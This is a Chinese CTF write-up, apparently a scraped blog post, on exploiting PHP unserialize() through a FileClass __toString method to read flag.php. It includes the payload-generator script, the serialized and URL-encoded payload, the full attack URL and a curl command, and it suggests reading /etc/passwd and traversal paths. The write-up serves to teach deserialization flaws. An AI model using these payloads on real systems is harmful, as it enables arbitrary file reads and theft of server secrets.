当前位置: 首页 > news >正文

【CTF-WEB-反序列化】利用__toString魔术方法读取flag.php

题目

页面提示输入?code,那我们在网址里get一下
在这里插入图片描述
出现了新页面的提示,进入看看
在这里插入图片描述
下面有个help.php页面的提示,进入看看
在这里插入图片描述

有一段php代码,仔细分析,应该是要用反序列法
在这里插入图片描述

代码如下

class FileClass{ public $filename = 'error.log'; public function __toString(){ return file_get_contents($this->filename); } 
}

代码分析

关键点解析:

  1. 类结构

    • FileClass 是一个PHP类
    • public $filename = 'error.log':公共属性,默认值为’error.log’
    • public function __toString():PHP魔术方法
  2. __toString() 魔术方法

    • 这是PHP中的特殊方法
    • 当对象被当作字符串处理时自动调用
    • 例如:echo $objectprint $object或字符串连接时
    • 本例中它执行file_get_contents($this->filename),那么我们就想办法,让这个方法去读取flag文件
  3. 文件读取机制

    • file_get_contents() 读取文件内容
    • 读取的文件路径由$this->filename决定
    • 默认读取error.log,但属性值可修改
  4. 安全漏洞

    • 如果攻击者能控制$filename的值
    • 就能读取服务器任意文件
    • 这是典型的"任意文件读取"漏洞

构造攻击的Payload生成器

将下列代码用php运行,得到结果O:9:"FileClass":1:{s:8:"filename";s:8:"flag.php";}

<?php
class FileClass{public $filename = 'flag.php';
}$file = new FileClass();
echo serialize($file);
?>

通常flag就存储在这flag.php个文件里

在这里插入图片描述

关键点解析:

  1. 类定义
    • 复制目标网站的类名FileClass
    • 修改$filename为攻击目标flag.php

为什么需要完全相同的类名?
在反序列化过程中,PHP会根据序列化字符串中的类名:

  • 查找当前是否已定义同名类
  • 如果找到,使用该类创建对象
  • 如果未找到,创建__PHP_Incomplete_Class特殊对象
    因此攻击代码中必须使用完全相同的类名FileClass,否则:
  • 服务器找不到类定义
  • 无法正确创建对象
  • __toString()不会被触发
  1. 对象创建
    • $file = new FileClass(); 创建对象实例
    • 此时$file->filename = 'flag.php'

重写属性值不会破坏__toString()方法,反而让方法基于新值执行,这正是PHP对象序列化漏洞能被利用的根本原因——攻击者可以控制对象状态,而服务器代码会基于该状态执行敏感操作。

  1. 序列化

    • serialize($file) 将对象转为序列化字符串
    • 结果示例:O:9:"FileClass":1:{s:8:"filename";s:8:"flag.php";}
    • 格式解析:
      • O:9:"FileClass":对象(类名长度9)
      • 1:1个属性
      • {s:8:"filename":属性名(字符串长度8)
      • s:8:"flag.php":属性值(字符串长度8)
  2. URL编码
    需要对序列化字符串进行编码,这是为了确保在通过URL参数传递时,特殊字符(如双引号、冒号等)不会破坏URL结构。
    可以使用urlencode(serialize($file)) 进行编码

    • 确保安全传输:
      • :%3A
      • "%22
      • ;%3B
      • {%7B
      • }%7D
    • 最终结果:O%3A9%3A%22FileClass%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D

本文实际操作中,URL 编码/解码网站直接对后面的参数进行编码即可。

  • 最终攻击网址为:http://223.112.39.132:44813/index.php?code=O%3A9%3A%22FileClass%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D

在这里插入图片描述
在这里插入图片描述
ctf{64e3be45fb0848259cdcc624758a23119d9a035c}

  1. 查看结果:
  • 如果页面显示PHP代码 → 查看网页源代码
  • 如果空白 → 尝试其他文件路径
  • 常见备选路径:
    $filename = '/flag';          // 根目录下的flag文件
    $filename = '../../flag.php'; // 上级目录
    $filename = '/etc/passwd';    // 测试文件
    

为什么CTF题目这样设计?

  1. 漏洞教育:展示反序列化漏洞的实际危害
  2. 魔术方法风险:演示__toString()等魔术方法的安全隐患
  3. 属性控制:说明用户可控对象属性的危险性
  4. 文件读取:任意文件读取是常见高危漏洞类型

这种设计完美展示了:当不可信输入直接传递给unserialize()时,攻击者可以通过控制对象属性实现敏感操作。

为什么这样做能获取flag?

  1. 服务器存在反序列化漏洞:它接收code参数并直接反序列化
  2. 反序列化后创建了FileClass对象
  3. 当服务器尝试输出该对象时,自动调用__toString()方法
  4. 该方法读取并返回flag.php的内容
  5. 你就能在页面中看到flag文件的内容

现在尝试执行这些步骤,应该能成功获取flag!如果遇到问题,可以尝试不同的文件路径或检查payload格式是否正确。

备注

  1. 文件路径问题

    • 如果flag.php不在当前目录,尝试:
      • /flag
      • /flag.txt
      • ../../flag.php
      • /var/www/html/flag.php
  2. 调试技巧

    • 通常,也可以先尝试读取/etc/passwd确认漏洞存在:
      $filename = '/etc/passwd';
      
    • 如果页面显示空白,查看网页源代码
    • 也可以使用curl测试:
      curl "http://223.112.39.132:44813/help.php?code=O%3A9%3A%22FileClass%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D"
      
http://www.dtcms.com/a/298877.html

相关文章:

  • 传统框架与减震楼盖框架地震动力响应分析与有限元模拟
  • USB Type-c
  • 《P3313 [SDOI2014] 旅行》
  • 关于我司即将对商业间谍行为进行法律诉讼的通知
  • C++学习笔记(十:类与对象基础)
  • 洛谷刷题7.25
  • TwinCAT3编程入门1
  • 【Mybatis】分页插件及其原理
  • 蓝桥杯java算法例题
  • powershell 实现批量把文件夹下的bmp文件转换为jpg
  • 操作系统:设计与实现(Operating System Design Implementation)
  • deepseek本地部署,轻松实现编程自由
  • 小架构step系列25:错误码
  • 储粮温度预测新方案!FEBL模型用代码实现:LSTM+注意力+岭回归的完整流程
  • 【map计算】自定义map计算
  • KNN 算法进阶:从基础到优化的深度解析
  • GaussDB 数据库架构师修炼(九) 逻辑备份实操
  • 动态规划Day1学习心得
  • JavaWeb项目(纯Servlet+JSP+前端三大件)入门(从0开始)
  • JavaSE-图书信息管理系统
  • jwt 在net9.0中做身份认证
  • 2507C++,窗口勾挂事件
  • IPv6,你开始使用了吗?
  • MATLAB 设置默认启动路径为上次关闭路径的方法
  • Linux C : 指针
  • ZYNQ芯片,SPI驱动开发自学全解析个人笔记【FPGA】【赛灵思】
  • 您的需求已被采纳
  • 【51单片机简易红绿灯计数延时】2022-9-23
  • AIStarter平台亮点解析:从ComfyUI项目上架到一键运行的完整指南
  • I/O多路复用机制中触发机制详细解析